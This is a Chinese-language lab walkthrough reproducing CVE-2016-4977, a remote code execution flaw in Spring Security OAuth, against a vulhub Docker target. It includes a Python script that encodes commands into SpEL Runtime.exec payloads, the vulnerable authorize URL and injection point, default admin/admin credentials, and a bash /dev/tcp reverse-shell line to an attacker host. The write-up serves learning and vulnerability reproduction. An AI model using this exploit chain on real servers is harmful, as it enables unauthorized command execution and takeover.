漏洞復現-CVE-2016-4977-Spring遠程代碼執行


 
 

0x00 實驗環境

攻擊機:Win 10

靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)(兼顧反彈shell的攻擊機)

 

0x01 影響版本

Spring Security OAuth 1.0.0到1.0.5

Spring Security OAuth 2.0.0到2.0.9

Spring Security OAuth 2.0到2.0.14

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.3到2.3.2

 

0x02 實驗入坑說明

(1)poc的執行環境請一定要使用python3,不一定要在靶機Ubuntu內運行poc

(2)直接在自己的服務器監聽的是另一個端口,並不影響實驗的復現,相當於一個端口啟動一個靶場,然后使用另一個端口接收反彈回來的shell

 

0x03 實驗步驟

(1)首先,我們打開靶場環境:看到logo即可確定是spring的集成環境

 (2)這里我們復現的步驟一定要一步一個腳印,不可大意。

首先,在vulhub的靶場內你可以看到一個poc.py

 

 這個poc.py並不是你所希望的那種一鍵getshell的exp,而是一個用於對bash腳本進行編碼的poc,如果想知道為什么,請查看文末的友情鏈接

 

這個poc十分重要,且只能使用python3的環境,Ubuntu默認已安裝python3,但是,如果直接輸入python是使用的python2的環境,我在此填坑半小時

可以cat poc.py后直接在自己的本機上運行該poc.py,其全部代碼如下:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

 

(3)靶場環境有一個URL十分重要,即為:

http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

 

這就是存在命令執行的漏洞環境。觸發點在:${233*233}

想知道原理可以查詢這篇文章,已經寫得非常好了:

https://www.cnblogs.com/litlife/p/10380701.html

 

(4)復現步驟如下,將自己的shell接收地址記錄編輯下來:

bash -i >& /dev/tcp/your-ip/1234 0>&1

 

在以下網站進行編碼操作:

http://www.jackson-t.ca/runtime-exec-payloads.html

 

然后運行poc.py腳本:(可以不在Ubuntu內運行,我是為了單純的方便)

提示輸入需要編碼的字符串,然后將以下在

java.lang.Runtime.exec() Payload Workarounds生成的反彈shell的payload復制到上面的輸入框中

成功生成一大串的已經編碼過的payload:

 

 http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

看到${233*233}了嗎,此時,我們只要用自己的反彈shell的payload把${233*233}這個命令執行觸發點替換即可

但是,在替換之前,請記得在你的攻擊機Ubuntu上開啟監聽:

 

 第一次輸入上面的URL的時候,會提示你輸入賬號密碼,直接輸入admin/admin就可以到達錯誤頁面了:

 

此時我們就可以使用payload進行反彈shell到Ubuntu了,以下為我在外網搭建的靶場反彈成功的例子,你也可以動手試試:

 

 

0x04 實驗原理

(1)實驗原理大致是該版本的Spring的一個錯誤頁面,存在參數獲取未進行過濾,導致可以直接對服務器執行系統權限

(2)詳情請參考這篇非常經典的文章:https://www.cnblogs.com/litlife/p/10380701.html(在此不再贅述)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM